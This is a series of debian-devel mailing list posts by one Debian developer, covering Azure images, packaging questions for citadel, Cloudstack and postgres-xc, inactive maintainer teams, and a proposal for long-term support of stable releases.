Can anyone tell me which package/configuration is reponsible for systemd running a package upgrade during bootup? I certainly never willingly configured this feature, but still have it. And for the second time it destroyed my system by deinstalling a lot of packages, instead of putting the conflicting packages on hold. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Debian is not welcome on Microsoft Azure
> I hope Debian have some future on Azure however blog mention only native > Debian images (that shouldn't be too hard to prepare anyway) but not SLA... I'm pretty sure there'll be some SLA offering. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL signature.asc Description: OpenPGP digital signature
Re: Debian is not welcome on Microsoft Azure
> Interesting, thanks. As for "The Microsoft Azure Linux Agent" [1], it is > Apache-2.0 licensed and should be trivially package-able... > > [1]: https://github.com/Azure/WALinuxAgent It's been in Debian for years. Recently it was updated to the latest version. Please check https://packages.qa.debian.org/w/waagent.html Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
Re: Debian is not welcome on Microsoft Azure
> Maybe someone could draft a press release to draw attention to the problem, > if we should be concerned? Or maybe we should just wait a little bit longer until the problem is fixed. As it happens work is already underway as you can see here: http://www.credativ.de/blog/debian-images-f%C3%BCr-microsoft-azure Sorry, only in German, English text is forthcoming. Also, for those of you at Debconf, feel free to talk to credativ or Microsoft people at the conference if you want to learn more. There should be some event as well, but since I'm not yet on-site I cannot tell when and where. Maybe somebody who know could chime in. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL
prebuild javascript objects in source
Hi, what am I supposed to do with prebuilt javascript objects in my source tree that do not appear to come with sources? None of those are actually used or installed for that matter, but they are part of the source tree and lintian complains about them. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20150708105447.ga23...@feivel.credativ.lan
RFC schema in package citadel
Hi, citadel always came with an LDAP schema file under openldap/rfc2739.schema that says: ... # The version of this file as distributed in the Citadel upstream packages # contains text claiming copyright by the Internet Society and including # the IETF RFC license, which does not meet Debian's Free Software # Guidelines. However, apart from short and obvious comments, the text of # this file is purely a functional interface specification, which is not # subject to that license and is not copyrightable under US law. # # The license statement is retained below so as not to remove credit, but # as best as we can determine, it is not applicable to the contents of # this file. ... Now, with the latest version, lintian complains with a big fat error. Is this a false positive that I can override, or do we have a license problem in older versions as well? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20150708104358.ga22...@feivel.credativ.lan
Re: Cloudstack for Debian
[Sorry for my late answering, I've been travelling quite a bit too much.] > Great! I'm not an expert at packaging for Debian. I created the > packaging because we needed it, but it's not perfect. > > The main problem now is that we include all kinds of JAR files in our > packages which isn't ideal. So the best next step would be for Wido to apply as and become a member for Debian-Java, right? Wido, please get yourself an account on alioth.debian.org for that. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/548ffcbd.7050...@debian.org
Cloudstack for Debian
Hi, Wido and I have been talking about bringing Cloudstack into Debian. There is quite a bit of work involved because several dependencies are not yet packaged. This obviously brings up the question if anyone else on either of the developer lists is interested in working on it? Please raise your hands. Also, as a bonus question to the Debian folks, should we try establishing a cloudstack packaging group or do we push the effort into the java packaging group? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/546ca167.4030...@debian.org
RFH: postgres-xc
The package is part of the postgres team packaging, but so far I've been more or less the only one working on it. It's in an okay state with only one open problem preventing an upload. Also I think postgres-xc should be integrated into the postgresql-common infrastructure. But I simply don't find any spare time to dedicate to these tasks. Or in other words, helping hands are very welcome. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20140603110445.ga18...@feivel.credativ.lan
Anyone still working on wpasuppliant et al.?
I just fell into #690536 and found that it has been acknowledged and even a patch has been proposed some 18 months ago, but no upload has been made. Is anyone still working on it? Besides, this teams calls itself "Debian/Ubuntu ..." but the buntu packages were updated. So what's going on? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20140217121431.ga23...@feivel.credativ.lan
Debian HA team MIA?
Hi, I was just pointed to http://qa.debian.org/developer.php?login=debian-ha-maintain...@lists.alioth.debian.org and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=714210 both of which bring up the question whether the team still exists and is actively working on the packages. Do we have a MIA process for teams? Michael P.S.: I couldn't find anything in the archives but should I have missed an existing thread, please point me to it. -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20131106162226.ga29...@feivel.credativ.lan
Re: Longer maintainance for (former) stable releases of Debian (Re: Dreamhost dumps Debian)
On Thu, Aug 29, 2013 at 05:31:26PM +0200, Ondřej Surý wrote: > So properly maintaining our stable/oldstable is a mandatory first step into > being > able to provide even longer support for random release we start to call the > LTS. > > Whether we achieve that by throwing more manpower into the bunch, or > splitting > the archive into KEY packages (as defined in recent d-d-a email) and non-KEY > packages, is different matter. So that means my question/suggestion is valid even for the non-LTS case, doesn't it? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130830105846.ga20...@feivel.credativ.lan
Re: Longer maintainance for (former) stable releases of Debian (Re: Dreamhost dumps Debian)
On Wed, Aug 28, 2013 at 04:33:38PM +0200, Ondřej Surý wrote: > On Wed, Aug 28, 2013 at 4:29 PM, Michael Meskes wrote: > > Anyhow, I doubt we can reasonably expect to maintain *all* packages for a > > longer > > period. How about starting with a defined list of packages that we do care > > about in an LTS? I would start with just the basic system and the most > > important server packages. > > Well, and how about starting to look at RFH for packages you care about > right now and help with security (and SPU) updates right now, even without > LTS? How about not combining two different topics? I don't see a reason why a discussion about a way to provide LTS needs to get shot with the suggestion to help with some random package instead. Of course you definitely have a point in that some/a lot of packages need work, but I think it is also reasonable to discuss a strategy for a desirable (IMO) long-term goal. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130829120849.ga28...@feivel.credativ.lan
Re: Longer maintainance for (former) stable releases of Debian (Re: Dreamhost dumps Debian)
On Tue, Aug 27, 2013 at 07:52:33PM +0100, Kevin Chadwick wrote: > I don't really understand it myself as server packages and their > dependencies tend to be stable and I tend to want the latest versions of > dovecot, unbound etc.. > > However perhaps there is a divide here between servers which want longer > support for few packages and desktops which want stable but secure yet > as featureful as is sensible desktops. I think you have a very valid point here. I kind of doubt many people would like to run on a five year old desktop. Anyhow, I doubt we can reasonably expect to maintain *all* packages for a longer period. How about starting with a defined list of packages that we do care about in an LTS? I would start with just the basic system and the most important server packages. I wonder whether it makes sense to align our LTS with others, let's say Ubuntu, to reduce the workload for both sides? Finally what do we do with packages that are no longer supported by upstream? Do we essantially take over or do we restrict updates for as long as upstream provides fixes? Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130828142908.ga12...@feivel.credativ.lan
Re: Longer maintainance for (former) stable releases of Debian (Re: Dreamhost dumps Debian)
On Tue, Aug 27, 2013 at 11:41:58AM +0100, Ben Hutchings wrote: > The challenge was: who is willing to do the work. Your answer is: me, > but only everyone else helps. > > That doesn't answer the challenge at all. Agreed. > It's hard enough to get maintainers to fix bugs in current stable > (backporting can be difficult, and some just don't care), let alone > another 3 years of LTS. Which brings up the interesting question how it works for stable now. How often do bigs get fixed by the security team and how often by maintainers themselves? How much work is this for the security team? Yes, I know, the older the software gets, the more difficult it is to backport patches, if at all possible. Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130827122809.ga20...@feivel.credativ.lan
Re: Longer maintainance for (former) stable releases of Debian (Re: Dreamhost dumps Debian)
On Tue, Aug 27, 2013 at 02:11:56AM +0200, Thomas Goirand wrote: > Guys, if you want it to happen, raise your hands *now* like Gustavo did. > Otherwise, please everyone: let this thread die and never raise the > topic again in this list. Raising my hand here ... Michael -- Michael Meskes Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org) Michael at BorussiaFan dot De, Meskes at (Debian|Postgresql) dot Org Jabber: michael.meskes at gmail dot com VfL Borussia! Força Barça! Go SF 49ers! Use Debian GNU/Linux, PostgreSQL -- To UNSUBSCRIBE, email to debian-devel-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/20130827085613.ga10...@feivel.credativ.lan
